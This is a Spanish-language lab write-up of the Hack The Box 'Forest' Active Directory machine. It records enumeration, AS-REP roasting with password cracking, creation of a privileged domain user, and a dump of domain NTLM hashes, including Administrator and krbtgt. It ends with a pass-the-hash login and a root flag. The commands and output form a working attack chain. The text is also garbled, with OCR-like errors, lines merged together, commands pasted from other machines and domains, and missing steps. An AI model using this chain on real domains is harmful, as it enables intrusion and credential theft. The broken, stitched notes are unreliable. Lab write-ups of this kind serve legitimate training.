# **Forest**

cra

# Escaneo

```
> ping -c 1 10.129.240.43
PING 10.129.240.43 (10.129.240.43) 56(84) bytes of data.
64 bytes from 10.129.240.43: icmp seq=1 ttl=127 time=98.4 ms
--- 10.129.240.43 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 98.382/98.382/98.382/0.000 ms
nmap -p- --open -n -Pn -vvv 10.129.240.43 -oG ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-24 19:11 CEST
Initiating SYN Stealth Scan at 19:11
Scanning 10.129.240.43 [65535 ports]
Discovered open port 135/tcp on 10.129.240.43
Discovered open port 139/tcp on 10.129.240.43
Discovered open port 53/tcp on 10.129.240.43
Discovered open port 445/tcp on 10.129.240.43
Discovered open port 49676/tcp on 10.129.240.43
Discovered open port 49671/tcp on 10.129.240.43
Discovered open port 49665/tcp on 10.129.240.43
Discovered open port 49677/tcp on 10.129.240.43
Discovered open port 49699/tcp on 10.129.240.43
Discovered open port 49664/tcp on 10.129.240.43
Discovered open port 636/tcp on 10.129.240.43
Discovered open port 3268/tcp on 10.129.240.43
Discovered open port 593/tcp on 10.129.240.43
```

```
| File: ports |
```

#### lanzamos el comando dig

```
dig axfr htb.local @10.129.240.43

; <<>> DiG 9.19.21-1-Debian <<>> axfr htb.local @10.129.240.43
;; global options: +cmd
; Transfer failed.
} dig any htb.local @10.129.240.43
```

#### es como un ssh pero en wind

Aqui nos ha dado los DNS

## Enumerar

### **RPC**

Enumeramos con rpcclient

```
rpcclient -U "" 10.129.229.17 -N rpcclient -U "" 10.10.10.182 -N -c "enumdomusers" | awk '{print $1}' | awk -F ":" '{print $2}' | tr -d '[]'
```

El objetivo es enumerar el windos para los directorios activos

### **LDAP**

```
ldapsearch -H ldap://10.129.229.17/ -x -b 'DC=BLACKFIELD,DC=local' "
(objectClass=)" "" +
```

```
Idapsearch -x -H Idap://10.10.11.168 -s base namingcontexts Idapsearch -x -H Idap://10.10.11.168 -b "DC=scrm,DC=local"
```

Idapsearch -H Idap://10.10.10.182:389/ -x -b 'DC=cascade,DC=local' " (objectClass=)" "" +

### **SMB**

smbmap -H IP -u 'null'smbmap -H IP -u 'null'

# Kerberos

# **Ataque**

#### **ASREPROAST**

```
) john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:00 IDDNE (2024-04-24 20:15) 0.3484g/s 1423Kc/s 1423Kc/s 1423KC/s s4885119..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Shell

evil-winrm -i 10.129.240.43 -u 'svc-alfresco' -p 's3rvice'

hash ntlm- es un hash de red que entre dos equipos en una red comparten los hash y se encuentra las contraseñas alojadas en el hash

https://www.tarlogic.com/es/blog/como-funciona-kerberos/

```
net user paco password123! /add /domain
net group "Exchange Windows Permissions" paco /add /domain
```

```
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user paco password123! /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" paco /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> |
```

Grupo importante que tienes que tener BUILTIN\Remote Management Users

Ahora la contraseña hacemos con este omando

```
$pass = ConvertTo-SecureString 'password123!' -AsPlain -Force
```

Es un encode de la contraseña para poder tener una contraseña real

### Desde aqui

. ./PowerView.ps1

```
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
     RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
      Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f:::
htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44:::
htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05:::
htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a:::
htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9:::
htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555:::htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5:::
htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff:::
```

#### ``bahs

```
Bash
evil-winrm -i 10.129.176.41 -u 'Administrator' -H
'32693b11e6aa90eb43d32c72a07ceea6'
```

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ...
  *Evil-WinRM* PS C:\Users\Administrator> dir
         Directory: C:\Users\Administrator
  Mode
                                      LastWriteTime
                                                                             Length Name
   ----
  d-r--- 9/20/2019 4:04 PM
d-r--- 9/23/2019 2:15 PM
                                                                                         Contacts

      d-r---
      9/23/2019

      d-r---
      9/20/2019
      4:04 PM

                                                                                       Desktop
                                                                                        Documents
                                                                                         Downloads
                                                                                         Favorites
                                                                                         Links
                                                                                         Music
                                                                                       Pictures
                                                                                        Saved Games
                                                                                         Searches
                                                                                         Videos
  *Evil-WinRM* PS C:\Users\Administrator> cd Desktop
  *Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
         Directory: C:\Users\Administrator\Desktop
  Mode LastWriteTime
---- 5/3/2024 7:54 AM
                                                                           Length Name
                                                                               34 root.txt
  *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
  884170a580076af7a47b9e87e12e1f15
  *Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

Si no entramos por evil-win lo que utilizamos por psexec.

